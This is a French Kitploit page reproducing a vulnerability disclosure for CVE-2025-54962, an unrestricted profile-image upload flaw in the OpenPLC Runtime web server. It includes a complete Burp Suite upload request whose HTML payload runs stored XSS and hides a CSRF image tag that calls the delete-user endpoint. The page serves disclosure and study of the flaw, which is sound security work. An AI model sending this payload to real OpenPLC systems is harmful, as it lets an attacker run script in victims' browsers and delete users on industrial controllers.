Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-54962 — Les utilisateurs authentifiés peuvent télécharger des fichiers arbitraires (par exemple .html, .svg) comme images de profil dans OpenPLC Runtime. Ces fichiers sont accessibles publiquement sans authentification, permettant du XSS stocké ou la livraison de contenu malveillant. | Kitploit
Outils/GitHubGitHub/eyodav/cve-2025-54962
Analyse des VulnérabilitésExploitationSécurité SCADA/ICSExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubeyodav/cve-2025-54962

CVE-2025-54962

Les utilisateurs authentifiés peuvent télécharger des fichiers arbitraires (par exemple .html, .svg) comme images de profil dans OpenPLC Runtime. Ces fichiers sont accessibles publiquement sans authentification, permettant du XSS stocké ou la livraison de contenu malveillant.

Voir le dépôt
6il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

🔥 CVE-2025-54962 — Téléchargement de fichier non sécurisé dans le serveur web OpenPLC Runtime

(OpenPLC Runtime ≤ 2024-12-31 — XSS stocké, CSRF)

📌 Résumé

J'ai découvert une vulnérabilité dans le serveur web OpenPLC Runtime (version publiée : 2024-12-31) qui permet aux utilisateurs authentifiés de télécharger des fichiers arbitraires (par exemple .html, .svg) comme photos de profil. Ces fichiers sont stockés dans le répertoire /static/ et sont accessibles sans authentification, permettant un XSS stocké ou un hébergement malveillant.


🧪 Composant affecté

  • Route : /edit-user
  • Affecté : Fonctionnalité de téléchargement de fichiers pour les images de profil

⚠️ Impact

  • Téléchargement de fichier arbitraire avec une validation insuffisante du type MIME et de l'extension
  • XSS stocké
  • Hébergement de contenu malveillant
  • Accès non authentifié aux fichiers téléchargés
  • CSRF

🎯 Vecteur d'attaque

  1. Un utilisateur authentifié télécharge un fichier .html ou .svg comme photo de profil.
  2. Le fichier est stocké dans /static/ et reçoit un ID prévisible (par exemple, http://localhost:8080/static/336029.html)
  3. Tout utilisateur (même non authentifié) peut accéder directement au fichier téléchargé.
  4. Si le fichier contient du JavaScript ou autre code malveillant, il s'exécutera dans le navigateur de la victime.

📸 Preuve de concept visuelle

Tableau de bord lorsque le PLC est en cours d'exécution

dashboard.png

Téléchargement d'un fichier .html malveillant

choose file.png

Utilisation de "Tous les fichiers" pour contourner le filtre d'images

file.png

Fichier téléchargé exécuté depuis /static/

poc.png


🎞️ Preuves de concept vidéo

  • Démonstration de base du PoC
    poc de base.mp4

  • Démonstration d'accès non authentifié
    unauthenticated.mp4

  • PoC CSRF
    poc csrf.mp4


📤 Exemple de requête d'exploitation avec Burp Suite Repeater

root@kitploit:~
POST /edit-user HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1397
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: [OpenPLC URL]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryW3GoLRyFS7dyLS2B
User-Agent: [UA]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/edit-user?table_id=10
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=[cookie]
Connection: close

------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_id"

10
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="full_name"

OpenPLC User
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_name"

openplc
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_email"

[email protected]
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_password"

mypasswordishere
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="file"; filename="poc cve.html"
Content-Type: text/html

<!DOCTYPE html>
<html>
<head>
  <title>PoC – Unfiltered Upload</title>
</head>
<body>
  <h1>Proof of Concept</h1>

  <p>Payload uploaded on vulnerable endpoint. If filtering is broken, executing script below proves stored XSS.</p>

  <h2>XSS Demo (auto-executed)</h2>
  <script>alert('PoC xss')</script>

  <h2>CSRF</h2>
  <img src="http://127.0.0.1:8080/delete-user?user_id=%5BUser%20ID%5D" style="display:none" />

  <h2>document.domain</h2>
  <p>Opened from: <script>document.write(document.domain)</script></p>

  <h2>Manual link to malicious HTML</h2>
  <a href="https://google.com/" target="_blank">Click to redirect on google.com</a>
</body>
</html>

------WebKitFormBoundaryW3GoLRyFS7dyLS2B--
Télécharger l’outil